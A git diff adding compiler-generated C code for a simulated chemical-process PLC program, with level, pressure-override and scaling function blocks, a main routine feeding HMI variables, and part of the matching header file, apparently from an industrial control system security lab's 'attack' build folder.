SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + 